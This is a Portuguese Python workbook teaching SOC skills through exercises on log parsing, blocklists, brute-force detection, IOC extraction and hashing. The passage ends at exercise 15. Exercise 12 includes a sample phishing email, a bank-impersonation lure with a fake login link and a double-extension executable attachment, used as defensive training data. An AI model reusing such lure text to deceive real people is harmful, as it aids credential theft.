>_

Python para Analista SOC

23 exercícios práticos, do básico ao avançado, aprendendo Python e segurança ao mesmo tempo

- **Fácil** exercícios 1 a 8
- **Médio** exercícios 9 a 17
- **Difícil** exercícios 18 a 23

Logs · Alertas · IOCs · SIEM · Threat Intel · Resposta a Incidentes

Antes de começar

O QUE VOCÊ PRECISA

Python 3 instalado. No terminal, confira com `python3 --version`.

Um editor de código, como o **VS Code** (com a extensão Python).

Para rodar um exercício: salve o código em um arquivo (ex: `ex01.py`) e, no terminal, dentro da pasta do arquivo, digite `python3 ex01.py`.

A pasta **dados/** (que acompanha esta apostila) tem os logs usados nos exercícios: `auth.log`, `access.log`, `alertas.json` e `phishing.txt`. Rode seus scripts na pasta 02-PYTHON-SOC para que o caminho `dados/...` funcione.

COMO CADA PÁGINA FUNCIONA

Conceito SOC (azul): o assunto de segurança por trás do exercício, explicado do zero.

Conceito Python (amarelo): o que há de novo na linguagem nesse exercício.

Biblioteca usada (roxo): o que a biblioteca faz e as funções que você vai usar. Uma **biblioteca** é um pacote de código pronto, escrito por outras pessoas, que você importa com `import`. A maioria já vem com o Python (a "biblioteca padrão").

Exemplo: código pequeno para você digitar e rodar antes de começar a tarefa.

Sua tarefa: o exercício de verdade. **Dica** ajuda se travar. **Saída esperada** mostra mais ou menos o que deve aparecer na tela (não precisa ser idêntico).

CONSELHOS PARA INICIANTES

Digite o código em vez de copiar e colar: é assim que a mão e a cabeça aprendem.

Errar faz parte. Leia a mensagem de erro com calma: a última linha diz o tipo do erro e a linha do código onde ele aconteceu.

Use `print()` à vontade para ver o que está dentro das variáveis.

Faça os exercícios **em ordem**: os difíceis reaproveitam o código dos fáceis.

Guarde suas soluções no GitHub. No final você terá um portfólio de ferramentas SOC.

BIBLIOTECA EXTERNA

Só o exercício 19 usa uma biblioteca que precisa ser instalada: `pip install requests`. Todas as outras já vêm com o Python.

Sumário

01	Seu primeiro alerta	Fácil	pág. 4
02	Os dados de um evento	Fácil	pág. 5
03	Triagem de severidade	Fácil	pág. 6
04	Detectando força bruta	Fácil	pág. 7
05	Lista de bloqueio (blocklist)	Fácil	pág. 8
06	Lendo uma linha de log	Fácil	pág. 9
07	Contando eventos por IP	Fácil	pág. 10
08	Política de bloqueio de conta	Fácil	pág. 11
09	Classificador de portas (funções)	Médio	pág. 12
10	IP interno ou externo?	Médio	pág. 13
11	Analisando o auth.log (arquivos)	Médio	pág. 14
12	Extraindo IOCs com regex	Médio	pág. 15
13	Top 5 atacantes	Médio	pág. 16
14	Janela de tempo (regra de SIEM)	Médio	pág. 17
15	Hash de arquivos suspeitos	Médio	pág. 18
16	Alertas do SIEM em JSON	Médio	pág. 19
17	Relatório de turno em CSV	Médio	pág. 20
18	PowerShell ofuscado (Base64)	Difícil	pág. 21
19	Enriquecimento com Threat Intel (API)	Difícil	pág. 22
20	Caçando ataques web no access.log	Difícil	pág. 23
21	Gerenciando incidentes (classes)	Difícil	pág. 24
22	Sua ferramenta de linha de comando	Difícil	pág. 25
23	Projeto final: seu Mini-SIEM	Difícil	pág. 26

EXERCÍCIO 01

Seu primeiro alerta

FÁCIL

CONCEITO SOC

Um **SOC** (Security Operations Center, ou Centro de Operações de Segurança) é a equipe que vigia os computadores de uma empresa 24 horas por dia, procurando sinais de ataque.

O **analista SOC** trabalha principalmente com **alertas**: avisos automáticos que aparecem na tela quando algo estranho acontece, como muitas senhas erradas seguidas em um servidor.

CONCEITO PYTHON

`print()` mostra um texto na tela. Tudo que fica entre aspas é **texto**.

Uma **variável** é como uma caixinha com etiqueta: você dá um nome e guarda um valor dentro. Exemplo: `analista = "Tales"` guarda o texto Tales na caixinha chamada analista.

A **f-string** (texto com f na frente) permite colocar o valor de uma variável dentro do texto usando chaves: `f"Olá {analista}"` vira Olá Tales.

EXEMPLO - digite e rode

```
analista = "Tales"
alerta = "Tentativa de login falhou"

print("=== SOC - Painel de Alertas ===")
print(f"Analista de plantão: {analista}")
print(f"Novo alerta: {alerta}")
```

SUA TAREFA

1. Crie as variáveis `id_alerta` (1001), `origem` ("192.168.1.50"), `destino` ("servidor-web01") e `descricao` ("Múltiplas falhas de login").
2. Mostre um "cartão de alerta" usando f-strings, igual à saída esperada abaixo.
3. Desafio: adicione a variável `analista` com o seu nome e mostre no final do cartão.

DICA: `print("=" * 40)` imprime 40 sinais de igual. Multiplicar um texto repete ele.

SAÍDA ESPERADA (exemplo)

```
========================================
ALERTA #1001
Origem   : 192.168.1.50
Destino  : servidor-web01
Descrição: Múltiplas falhas de login
========================================
```

EXERCÍCIO 02

Os dados de um evento

FÁCIL

CONCEITO SOC

Evento: qualquer coisa que um sistema registra (um login, um arquivo aberto). **Alerta**: um evento que uma regra marcou como suspeito. **Incidente**: um alerta que o analista confirmou ser um ataque de verdade.

IP é o "endereço" de um computador na rede (ex: 10.0.0.15). **Porta** é o número da "porta de entrada" de um serviço naquele computador: 22 = SSH (acesso remoto), 80 = HTTP (site), 443 = HTTPS (site seguro).

CONCEITO PYTHON

Todo valor em Python tem um **tipo**: `str` (texto, sempre entre aspas), `int` (número inteiro), `float` (número com vírgula, mas em Python usamos ponto: 7.5) e `bool` (verdadeiro ou falso: `True` / `False`).

`type(x)` mostra qual é o tipo de x. Para converter: `int("22")` transforma o texto "22" no número 22, e `str(22)` faz o contrário.

O símbolo `#` cria um **comentário**: o Python ignora tudo depois dele. Serve para explicar o código.

EXEMPLO - digite e rode

```
ip_origem = "10.0.0.15"    # str
porta = 22                 # int
score_risco = 7.5          # float
bloqueado = False          # bool

print(type(ip_origem), type(porta))

porta_texto = "443"
porta_num = int(porta_texto)   # agora é número
print(porta_num + 1)           # 444
```

SUA TAREFA

1. Crie as variáveis de um evento: `usuario`, `ip`, `porta`, `protocolo`, `score` (de 0 a 10) e `eh_admin` (True ou False).
2. Mostre cada variável junto com o seu tipo.
3. Monte a frase "Conexão em IP:PORTA" juntando textos com `+`. Atenção: você não pode somar texto com número, então converta a porta com `str()`.
4. Experimente fazer `"10" + "5"` e `10 + 5`. Por que o resultado é diferente?

DICA: `"10.0.0.15" + ":" + str(22)` resulta em "10.0.0.15:22".

SAÍDA ESPERADA (exemplo)

```
usuario = joao  -> <class 'str'>
porta = 22  -> <class 'int'>
score = 6.5  -> <class 'float'>
eh_admin = False  -> <class 'bool'>
Conexão em 10.0.0.15:22
```

EXERCÍCIO 03

Triagem de severidade

FÁCIL

CONCEITO SOC

Triagem é quando o analista decide a prioridade de cada alerta: o que precisa ser olhado agora e o que pode esperar. Ninguém consegue olhar tudo ao mesmo tempo!

É comum usar uma nota de 0 a 10 para medir o risco. Um exemplo famoso é o **CVSS**, que dá notas para vulnerabilidades: 0 = Nenhuma, 0.1-3.9 = Baixa, 4.0-6.9 = Média, 7.0-8.9 = Alta, 9.0-10 = Crítica.

CONCEITO PYTHON

`input("pergunta")` mostra uma pergunta e espera o usuário digitar. Ele **sempre devolve texto**, por isso usamos `float(input(...))` para transformar em número.

`if` (se), `elif` (senão, se) e `else` (senão) servem para tomar decisões. O Python testa de cima para baixo e executa só o primeiro bloco verdadeiro.

A **indentação** (4 espaços no começo da linha) mostra o que está "dentro" do if. Ela é obrigatória em Python!

EXEMPLO - digite e rode

```
score = float(input("Score do alerta (0-10): "))

if score >= 9:
    print("CRÍTICA - acionar resposta a incidente agora!")
elif score >= 7:
    print("ALTA - investigar em até 1 hora")
else:
    print("Outra severidade...")
```

SUA TAREFA

1. Complete o programa com as faixas **Média** (4.0 a 6.9), **Baixa** (0.1 a 3.9) e **Nenhuma** (exatamente 0).
2. Antes de tudo, verifique se o score está entre 0 e 10. Se não estiver, mostre "Score inválido!".
3. Para cada severidade, mostre também o prazo de atendimento (ex: Média = 8 horas).

DICA: Para testar se está fora da faixa: `if score < 0 or score > 10:` (o `or` significa "ou").

SAÍDA ESPERADA (exemplo)

```
Score do alerta (0-10): 5.5
MÉDIA - investigar em até 8 horas

Score do alerta (0-10): 12
Score inválido!
```

EXERCÍCIO 04

Detectando força bruta

FÁCIL

CONCEITO SOC

Um **ataque de força bruta** acontece quando o atacante tenta muitas senhas, uma atrás da outra, até acertar. Programas fazem milhares de tentativas por minuto.

Sinais típicos: **muitas falhas de login** em pouco tempo, tentativas **fora do horário comercial** (de madrugada) e acessos vindos de **países incomuns** para a empresa. O pior cenário: várias falhas e depois um **sucesso** = o atacante acertou a senha.

CONCEITO PYTHON

Operadores de comparação devolvem True ou False: `==` (igual), `!=` (diferente), `>` (maior), `<` (menor), `>=` (maior ou igual), `<=` (menor ou igual).

Operadores lógicos juntam condições: `and` (as duas precisam ser verdade), `or` (basta uma ser verdade) e `not` (inverte: True vira False).

Cuidado: `=` guarda um valor na variável; `==` compara dois valores.

EXEMPLO - digite e rode

```
falhas = 8
hora = 3                  # 3 da manhã
sucesso_depois = True

if falhas >= 5 and sucesso_depois:
    print("ALERTA: senha pode ter sido descoberta!")

fora_do_horario = hora < 8 or hora > 18
print("Fora do horário?", fora_do_horario)
```

SUA TAREFA

1. Peça ao usuário: número de falhas, hora do login (0 a 23) e país de origem.
2. Regras: falhas >= 5 → "SUSPEITO". Falhas >= 5 **e** fora do horário → "ALTO RISCO". País diferente de "Brasil" **e** falhas >= 3 → "Login de país incomum".
3. Se nenhuma regra disparar, mostre "Normal". Pense na ordem dos ifs: a regra mais grave deve ser testada primeiro!

DICA: Use `pais.lower() == "brasil"` para aceitar "Brasil", "BRASIL" ou "brasil".

SAÍDA ESPERADA (exemplo)

```
Falhas: 7
Hora (0-23): 2
País: Rússia
>> ALTO RISCO: muitas falhas fora do horário comercial
>> Login de país incomum
```

EXERCÍCIO 05

Lista de bloqueio (blocklist)

FÁCIL

CONCEITO SOC

IOC (Indicador de Comprometimento) é uma "pista" que indica ataque: um IP malicioso, um domínio falso, o hash de um vírus. É como a impressão digital deixada pelo criminoso.

Uma **blocklist** é uma lista de IOCs conhecidos que devem ser bloqueados. Equipes de **Threat Intelligence** (inteligência de ameaças) criam e compartilham essas listas.

CONCEITO PYTHON

Uma **lista** guarda vários valores em ordem, entre colchetes: `["a", "b", "c"]`.

`for item in lista:` repete o bloco uma vez para cada item da lista. É o famoso **laço** (loop).

`valor in lista` diz se o valor está na lista (True/False). `lista.append(x)` adiciona x no final. `len(lista)` conta quantos itens existem.

EXEMPLO - digite e rode

```
blocklist = ["45.33.32.156", "185.220.101.47", "91.240.118.172"]
conexoes = ["10.0.0.5", "185.220.101.47", "8.8.8.8"]

for ip in conexoes:
    if ip in blocklist:
        print(f"[BLOQUEAR] {ip} está na blocklist!")
    else:
        print(f"[OK] {ip}")
```

SUA TAREFA

1. Crie uma lista `conexoes` com 10 IPs (misture IPs da blocklist com outros).
2. Crie uma lista vazia `suspeitos = []` e, dentro do for, use `append()` para guardar os IPs maliciosos encontrados.
3. No final, mostre quantos IPs foram verificados, quantos são maliciosos e a porcentagem.
4. Desafio: se o mesmo IP malicioso aparecer duas vezes, guarde ele só uma vez.

DICA: Porcentagem = `len(suspeitos) / len(conexoes) * 100`. Para mostrar com 1 casa decimal: `f"{valor:.1f}%"`.

SAÍDA ESPERADA (exemplo)

```
[OK] 10.0.0.5
[BLOQUEAR] 185.220.101.47 está na blocklist!
...
Verificados: 10 | Maliciosos: 3 | 30.0%
```

EXERCÍCIO 06

Lendo uma linha de log

FÁCIL

CONCEITO SOC

Um **log** é um registro de algo que aconteceu em um sistema, como um diário do computador. Ler logs é a tarefa número 1 do analista SOC.

No Linux, os logins por **SSH** (acesso remoto ao servidor) ficam no arquivo `/var/log/auth.log`. Cada linha tem: data, hora, nome do servidor, programa, e a mensagem com usuário, IP e porta de origem.

CONCEITO PYTHON

Textos (strings) têm **métodos**, que são funções que já vêm prontas: `.split()` quebra o texto em uma lista de palavras; `.lower()` deixa tudo minúsculo; `.strip()` tira espaços das pontas.

Cada item de uma lista tem um **índice** (posição) que começa em **0**: `partes[0]` é o primeiro, `partes[1]` o segundo e `partes[-1]` o último.

`lista.index("palavra")` diz em qual posição a palavra está.

EXEMPLO - digite e rode

```
# textos lado a lado dentro de ( ) viram um texto só
linha = ("Oct  6 03:14:07 srv01 sshd[1234]: Failed password for root "
         "from 185.220.101.47 port 51122 ssh2")

partes = linha.split()
print(partes)
print("Hora:", partes[2])

if "failed password" in linha.lower():
    print("Falha de login detectada!")
```

SUA TAREFA

1. Usando `partes.index(...)`, extraia: o **usuário** (palavra depois de "for"), o **IP** (depois de "from") e a **porta** (depois de "port").
2. Mostre os dados de forma organizada, como na saída esperada.
3. Desafio: teste com a linha `"... Failed password for invalid user admin from 45.33.32.156 port 40022 ssh2"`. O usuário saiu errado? Corrija para funcionar nos dois casos.

DICA: Se `pos = partes.index("from")`, o IP está em `partes[pos + 1]`.

SAÍDA ESPERADA (exemplo)

```
Hora   : 03:14:07
Usuário: root
IP     : 185.220.101.47
Porta  : 51122
Status : FALHA
```

EXERCÍCIO 07

Contando eventos por IP

FÁCIL

CONCEITO SOC

Correlação é juntar vários eventos para enxergar um padrão. Uma senha errada sozinha é normal (todo mundo erra). Mas 50 senhas erradas vindas do **mesmo IP** é um ataque.

Por isso o analista vive contando coisas: falhas por IP, logins por usuário, conexões por porta.

CONCEITO PYTHON

Um **dicionário** guarda pares **chave: valor**, entre chaves: `{"root": 3, "admin": 1}`. É como uma agenda: você procura pelo nome (chave) e encontra o telefone (valor).

`d["chave"]` lê o valor; `d["chave"] = valor` grava. `d.get(chave, 0)` lê o valor, mas se a chave não existir devolve 0 em vez de dar erro.

`for chave, valor in d.items():` percorre todos os pares do dicionário.

EXEMPLO - digite e rode

```
ips = ["1.1.1.1", "2.2.2.2", "1.1.1.1", "3.3.3.3", "1.1.1.1"]
contagem = {}

for ip in ips:
    contagem[ip] = contagem.get(ip, 0) + 1

for ip, total in contagem.items():
    print(ip, "->", total, "falhas")
```

SUA TAREFA

1. Crie uma lista com 15 IPs que tiveram falha de login (repita alguns de propósito).
2. Conte quantas falhas cada IP teve, usando um dicionário.
3. Mostre **apenas** os IPs com 3 ou mais falhas, com a mensagem "possível força bruta".
4. Desafio: crie um dicionário que representa um evento completo: `{"ip": ..., "usuario": ..., "porta": ..., "sucesso": False}` e mostre cada campo.

DICA: O teste fica dentro do segundo for: `if total >= 3:`

SAÍDA ESPERADA (exemplo)

```
[!] 185.220.101.47 -> 6 falhas - possível força bruta
[!] 45.33.32.156 -> 4 falhas - possível força bruta
[!] 61.177.172.13 -> 3 falhas - possível força bruta
```

EXERCÍCIO 08

Política de bloqueio de conta

FÁCIL

CONCEITO SOC

A **política de bloqueio de conta** (account lockout) bloqueia o usuário depois de X senhas erradas. É uma defesa simples e muito eficaz contra força bruta.

No Windows, cada falha de login gera o **Evento 4625** e o bloqueio da conta gera o **Evento 4740**. Esses números são muito pesquisados pelos analistas no SIEM.

CONCEITO PYTHON

`while condição:` repete o bloco **enquanto** a condição for verdadeira. Diferente do `for`, você não sabe de antemão quantas vezes vai repetir.

`break` sai do laço imediatamente. `tentativas += 1` é o mesmo que `tentativas = tentativas + 1` (aumenta o contador em 1).

Variáveis em MAIÚSCULAS, como `SENHA_CORRETA`, são uma convenção para valores que não mudam (constantes).

EXEMPLO - digite e rode

```
SENHA_CORRETA = "S0c@2026"
tentativas = 0

while tentativas < 3:
    senha = input("Senha: ")
    if senha == SENHA_CORRETA:
        print("Login OK")
        break
    tentativas += 1
    print(f"Senha errada ({tentativas}/3)")
```

SUA TAREFA

1. Se o usuário errar 3 vezes, mostre "Conta BLOQUEADA - evento 4740 gerado".
2. Crie uma lista `log = []` e, a cada tentativa, adicione "4625 - FALHA" ou "4624 - SUCESSO" (4624 é o evento de login com sucesso).
3. No final, mostre o log completo, uma linha por tentativa.

DICA: Depois do while, teste `if tentativas == 3:` para saber se a conta deve ser bloqueada.

SAÍDA ESPERADA (exemplo)

```
Senha: 123456
Senha errada (1/3)
Senha: admin
Senha errada (2/3)
Senha: senha
Senha errada (3/3)
Conta BLOQUEADA - evento 4740 gerado
--- LOG ---
4625 - FALHA
4625 - FALHA
4625 - FALHA
```

EXERCÍCIO 09

Classificador de portas (funções)

MÉDIO

CONCEITO SOC

O analista precisa reconhecer as portas mais comuns e o risco delas: 21 FTP, 22 SSH, **23 Telnet** (envia senhas sem criptografia!), 25 SMTP (e-mail), 53 DNS, 80 HTTP, 443 HTTPS, **445 SMB** (compartilhamento de arquivos, usado pelo ransomware WannaCry) e **3389 RDP** (área de trabalho remota do Windows, muito atacada).

Uma porta "perigosa" aberta para a internet é sempre um ponto de atenção.

CONCEITO PYTHON

Uma **função** é um bloco de código com nome, que você pode usar quantas vezes quiser. Cria-se com `def nome(parametros):`.

Parâmetros são as informações que a função recebe. `return` devolve o resultado para quem chamou a função.

Uma **tupla** é parecida com uma lista, mas usa parênteses e não pode ser alterada: `("10.0.0.5", 22)`.

EXEMPLO - digite e rode

```
def nome_servico(porta):
    servicos = {22: "SSH", 80: "HTTP", 443: "HTTPS", 3389: "RDP"}
    return servicos.get(porta, "Desconhecido")

print(nome_servico(22))     # SSH
print(nome_servico(9999))   # Desconhecido
```

SUA TAREFA

1. Complete o dicionário de `nome_servico` com todas as portas citadas acima.
2. Crie `risco_porta(porta)` que devolve "ALTO" para 21, 23, 445 e 3389; "MÉDIO" para 22 e 25; e "BAIXO" para o resto.
3. Crie `analisar_conexao(ip, porta)` que usa as duas funções e devolve um texto pronto.
4. Teste com a lista `[("10.0.0.5", 22), ("8.8.8.8", 53), ("203.0.113.9", 3389), ("10.0.0.9", 23)]`.

DICA: Para percorrer a lista de tuplas: `for ip, porta in conexoes:`. Uma função pode chamar outra função.

SAÍDA ESPERADA (exemplo)

```
10.0.0.5:22     -> SSH         | risco MÉDIO
8.8.8.8:53      -> DNS         | risco BAIXO
203.0.113.9:3389 -> RDP        | risco ALTO
10.0.0.9:23     -> Telnet      | risco ALTO
```

EXERCÍCIO 10

IP interno ou externo?

MÉDIO

CONCEITO SOC

IP privado é usado dentro da empresa e não existe na internet: faixas 10.x.x.x, 172.16.x.x a 172.31.x.x e 192.168.x.x. **IP público** é um endereço da internet. 127.0.0.1 é o **loopback** (o próprio computador).

Por que importa? Um computador interno conversando com um IP público desconhecido pode ser sinal de **C2** (Command and Control): o servidor do atacante que dá ordens às máquinas infectadas.

CONCEITO PYTHON

`import nome` traz uma biblioteca para o seu programa. A **biblioteca padrão** já vem com o Python, não precisa instalar nada.

`try:` / `except:` trata erros. O Python **tenta** executar o bloco do try; se der o erro indicado, ele executa o except em vez de travar o programa.

BIBLIOTECA USADA

ipaddress (biblioteca padrão): entende endereços IP. Ela valida se um IP é real, diz se ele é privado, loopback, e se pertence a uma **rede** (sub-rede). Se o IP for inválido, como 999.1.1.1, ela gera o erro `ValueError`.

Notação **CIDR**: `192.168.0.0/24` significa a rede de 192.168.0.0 até 192.168.0.255 (256 endereços).

EXEMPLO - digite e rode

```
import ipaddress

ip = ipaddress.ip_address("192.168.1.10")
print(ip.is_private)       # True
print(ip.is_loopback)      # False

rede = ipaddress.ip_network("10.0.0.0/8")
print(ipaddress.ip_address("10.5.3.2") in rede)   # True

try:
    ipaddress.ip_address("999.1.1.1")
except ValueError:
    print("IP inválido!")
```

SUA TAREFA

1. Crie a função `classificar_ip(texto)` que devolve "INVÁLIDO", "LOOPBACK", "PRIVADO" ou "PÚBLICO".
2. Teste com: `["8.8.8.8", "10.1.1.1", "999.1.1.1", "127.0.0.1", "172.20.5.4", "abc"]`.
3. Desafio: a DMZ (área dos servidores expostos) da empresa é `172.16.10.0/24`. Avise quando um IP pertencer a ela.

DICA: Teste o loopback **antes** do privado, porque 127.0.0.1 também é considerado privado.

SAÍDA ESPERADA (exemplo)

```
8.8.8.8      -> PÚBLICO
10.1.1.1     -> PRIVADO
999.1.1.1    -> INVÁLIDO
127.0.0.1    -> LOOPBACK
172.20.5.4   -> PRIVADO
```

EXERCÍCIO 11

Analisando o auth.log (arquivos)

MÉDIO

CONCEITO SOC

Muitas vezes o analista recebe um **arquivo de log** inteiro para investigar: "esse servidor foi invadido?". Ler milhares de linhas na mão é impossível; com Python leva segundos.

No auth.log: "Failed password" = senha errada, "Accepted password" = login com sucesso.

CONCEITO PYTHON

`open(caminho, modo)` abre um arquivo. Modos: `"r"` ler, `"w"` escrever (apaga o que tinha antes!) e `"a"` adicionar no final.

`with open(...) as arquivo:` abre o arquivo e **fecha sozinho** quando o bloco termina. Use sempre esse jeito.

`for linha in arquivo:` lê o arquivo linha por linha. `arquivo.write(texto)` escreve. `encoding="utf-8"` garante que acentos funcionem.

EXEMPLO - digite e rode

```
with open("dados/auth.log", "r", encoding="utf-8") as arquivo:
    for linha in arquivo:
        if "Failed password" in linha:
            print(linha.strip())
```

TRECHO DE DADOS/AUTH.LOG (ARQUIVO COMPLETO NA PASTA DADOS)

```
Oct  6 03:14:01 srv01 sshd[1002]: Failed password for root from 185.220.101.47 port 41002 ssh2
Oct  6 03:14:09 srv01 sshd[1004]: Failed password for invalid user admin from 185.220.101.47 port 41004 ssh2
Oct  6 03:14:33 srv01 sshd[1008]: Accepted password for root from 185.220.101.47 port 41008 ssh2
Oct  6 04:02:18 srv01 sshd[1014]: Failed password for invalid user ubuntu from 45.33.32.156 port 41014 ssh2
```

SUA TAREFA

1. Leia `dados/auth.log` e conte quantas falhas e quantos sucessos existem.
2. Salve todas as linhas de falha em um novo arquivo chamado `falhas.txt`.
3. Mostre também as linhas de **sucesso** com o IP de origem (use o que aprendeu no exercício 6).
4. Olhe o resultado: algum IP teve várias falhas e depois conseguiu entrar? Isso é grave!

DICA: Abra os dois arquivos no mesmo with: `with open("a") as entrada, open("b", "w") as saida:`

SAÍDA ESPERADA (exemplo)

```
Falhas: 21 | Sucessos: 4
Linhas de falha salvas em falhas.txt
Sucesso: root de 185.220.101.47   <-- investigar!
```

EXERCÍCIO 12

Extraindo IOCs com regex

MÉDIO

CONCEITO SOC

Ao analisar um **e-mail de phishing** (e-mail falso para roubar dados) ou um relatório de ameaça, o analista precisa **extrair os IOCs**: IPs, URLs, e-mails e hashes, para depois bloqueá-los no firewall, no proxy e no servidor de e-mail.

CONCEITO PYTHON

Um **set** (conjunto) é como uma lista que **não aceita repetidos**. `set(lista)` remove duplicados; `sorted(...)` ordena o resultado.

Escrevemos padrões regex com `r"..."` (raw string) para o Python não confundir as barras invertidas.

BIBLIOTECA USADA

re (biblioteca padrão, "regular expressions"): procura textos que seguem um **padrão**. Símbolos básicos: `\d` = um dígito, `\w` = letra/número/_, `\S` = qualquer coisa menos espaço, `+` = um ou mais, `{1,3}` = de 1 a 3 vezes, `\.` = um ponto de verdade, `[a-f0-9]` = qualquer caractere dessa faixa.

`re.findall(padrao, texto)` devolve uma lista com **tudo** que combinar com o padrão.

EXEMPLO - digite e rode

```
import re

texto = "Conexão de 185.220.101.47 para 10.0.0.8; contato: hacker@evil.com"
ips = re.findall(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", texto)
print(ips)    # ['185.220.101.47', '10.0.0.8']
```

E-MAIL SUSPEITO (ARQUIVO DADOS/PHISHING.TXT)

```
De: suporte@banco-seguro-verificacao.com
Assunto: Sua conta será bloqueada!
Detectamos acesso incomum a partir do IP 185.220.101.47.
Confirme seus dados em https://banco-seguro-verificacao.com/login?id=8812
ou em http://91.240.118.172/confirmar.php - Dúvidas: atendimento@banco-seguro-verificacao.com
Anexo: fatura.pdf.exe (MD5: 5d41402abc4b2a76b9719d911017c592)
Servidor de envio: 91.240.118.172
```

SUA TAREFA

1. Leia `dados/phishing.txt` e extraia: **IPs**, **e-mails** (`[\w.-]+@[\w.-]+\.\w+`), **URLs** (`https?://\S+`) e **hashes MD5** (`[a-fA-F0-9]{32}`).
2. Remova os duplicados com `set()` e mostre cada tipo de IOC ordenado.
3. Repare no anexo "fatura.pdf.exe": por que isso é um truque clássico de phishing?

DICA: `?` no regex quer dizer "opcional": em `https?` o "s" pode aparecer ou não.

SAÍDA ESPERADA (exemplo)

```
IPs    : ['185.220.101.47', '91.240.118.172']
E-mails: ['atendimento@banco-...', 'suporte@banco-...']
URLs   : ['http://91.240.118.172/confirmar.php', 'https://banco-...']
MD5    : ['5d41402abc4b2a76b9719d911017c592']
```

EXERCÍCIO 13

Top 5 atacantes

MÉDIO

CONCEITO SOC

Os painéis (dashboards) do SIEM sempre mostram um **Top N**: os IPs que mais geram eventos, os usuários mais atacados, as portas mais acessadas. Isso ajuda a **priorizar**.

Atacantes de força bruta testam nomes de usuários comuns: **root, admin, test, ubuntu, oracle, pi, guest**. Se você vê esses nomes nas falhas, é quase certo que é um robô atacando.

CONCEITO PYTHON

`from biblioteca import algo` importa só uma parte específica da biblioteca.

Um regex com **grupos** `( )` captura só o pedaço que importa. Com `re.search(padrao, linha)`, `resultado.group(1)` devolve o primeiro grupo e `group(2)` o segundo.

`(?: )` é um grupo que **não** captura, útil para partes opcionais.

BIBLIOTECA USADA

collections (biblioteca padrão): traz estruturas de dados extras. O **Counter** é um dicionário especial que **conta** sozinho quantas vezes cada item aparece.

`contador.most_common(5)` devolve os 5 itens mais frequentes, do maior para o menor.

EXEMPLO - digite e rode

```
from collections import Counter

ips = ["1.1.1.1", "2.2.2.2", "1.1.1.1", "1.1.1.1", "3.3.3.3", "2.2.2.2"]
contagem = Counter(ips)
print(contagem.most_common(2))   # [('1.1.1.1', 3), ('2.2.2.2', 2)]
```

SUA TAREFA

1. Leia `dados/auth.log` e, para cada linha de falha, extraia o **usuário** e o **IP** com o regex: `r"Failed password for (?:invalid user )?(\S+) from (\S+)"`.
2. Use dois Counters e mostre o **Top 5 IPs** e o **Top 5 usuários**.
3. Mostre uma "barra" proporcional ao total, como na saída esperada.

DICA: `"#" * total` desenha a barra. Para alinhar o texto use `f"{ip:<16}"` (16 espaços à esquerda).

SAÍDA ESPERADA (exemplo)

```
=== TOP 5 IPs ===
45.33.32.156     ####### 7
185.220.101.47   ###### 6
91.240.118.172   #### 4
...
=== TOP 5 USUÁRIOS ===
root             ####### 7
```

EXERCÍCIO 14

Janela de tempo (regra de SIEM)

MÉDIO

CONCEITO SOC

Regras de detecção no SIEM quase sempre usam uma **janela de tempo**. Exemplo real: "**5 falhas do mesmo IP em 60 segundos** = alerta de força bruta". 5 falhas espalhadas em um dia inteiro provavelmente é só um usuário esquecido.

Os horários dos logs se chamam **timestamps**. Em SOC é comum usar **UTC** (horário universal) para que logs de vários países possam ser comparados.

CONCEITO PYTHON

`lista.sort()` ordena a lista. Um dicionário pode guardar listas como valor: `{"1.1.1.1": [hora1, hora2]}`. Para criar: `d.setdefault(ip, []).append(hora)`.

BIBLIOTECA USADA

datetime (biblioteca padrão): trabalha com datas e horas. `datetime.strptime(texto, formato)` transforma um texto em data. Códigos: `%Y` ano, `%m` mês, `%d` dia, `%H` hora, `%M` minuto, `%S` segundo.

Subtrair duas datas dá um **timedelta** (uma duração). `.total_seconds()` converte em segundos.

EXEMPLO - digite e rode

```
from datetime import datetime

fmt = "%Y-%m-%d %H:%M:%S"
t1 = datetime.strptime("2026-10-06 03:14:00", fmt)
t2 = datetime.strptime("2026-10-06 03:14:45", fmt)
print((t2 - t1).total_seconds())   # 45.0
```

EVENTOS DE FALHA DE LOGIN

```
eventos = [
    ("2026-10-06 03:14:01", "185.220.101.47"), ("2026-10-06 03:14:05", "185.220.101.47"),
    ("2026-10-06 03:14:09", "185.220.101.47"), ("2026-10-06 03:14:10", "91.240.118.172"),
    ("2026-10-06 03:14:14", "185.220.101.47"), ("2026-10-06 03:14:20", "185.220.101.47"),
    ("2026-10-06 03:20:00", "91.240.118.172"), ("2026-10-06 03:31:12", "91.240.118.172"),
    ("2026-10-06 03:45:40", "91.240.118.172"), ("2026-10-06 03:59:02", "91.240.118.172"),
]
```

SUA TAREFA

1. Agrupe os horários por IP em um dicionário de listas (convertendo cada texto em datetime).
2. Para cada IP, verifique se existem **5 falhas dentro de 60 segundos**.
3. Mostre o alerta com o horário de início e a duração do ataque.

DICA: Com os horários ordenados, compare `tempos[i + 4] - tempos[i]`: se for <= 60 segundos, houve 5 falhas na janela. Use `for i in range(len(tempos) - 4):`.

SAÍDA ESPERADA (exemplo)

```
[ALERTA] Força bruta: 185.220.101.47
   5 falhas em 19s (início 03:14:01)
[OK] 91.240.118.172 - 5 falhas, mas espalhadas no tempo
```

EXERCÍCIO 15

Hash de arquivos suspeitos

MÉDIO

CONCEITO SOC

Um **hash** é a "impressão digital" de um arquivo: um texto calculado a partir do conteúdo. O mesmo arquivo sempre gera o mesmo hash; se mudar **1 byte**, o hash muda totalmente.

O SOC usa hashes para identificar **malware** (pesquisando no VirusTotal, por exemplo) e para verificar se um arquivo foi alterado (**integridade**). MD5 e SHA-1 são antigos; o padrão hoje é **SHA-256**.

CONCEITO PYTHON

`"texto".encode()` transforma texto em **bytes** (o formato bruto que o computador usa). Abrir um arquivo com `"rb"` lê em bytes (modo binário), necessário para qualquer tipo de arquivo.

BIBLIOTECA USADA

hashlib (biblioteca padrão): calcula hashes. `hashlib.sha256(dados).hexdigest()` devolve o hash em texto. Para arquivos grandes, leia em pedaços e use `.update(pedaco)`.

os (biblioteca padrão): conversa com o sistema operacional. `os.listdir(pasta)` lista os arquivos; `os.path.join(pasta, nome)` monta o caminho; `os.path.isfile(c)` diz se é arquivo.

EXEMPLO - digite e rode

```
import hashlib

print(hashlib.sha256("ola".encode()).hexdigest())

def hash_arquivo(caminho):
    sha = hashlib.sha256()
    with open(caminho, "rb") as f:
        while True:
            pedaco = f.read(4096)      # lê 4 KB por vez
            if not pedaco:             # acabou o arquivo
                break
            sha.update(pedaco)
    return sha.hexdigest()
```

SUA TAREFA

1. Crie uma pasta `amostras/` com 3 arquivos de texto quaisquer.
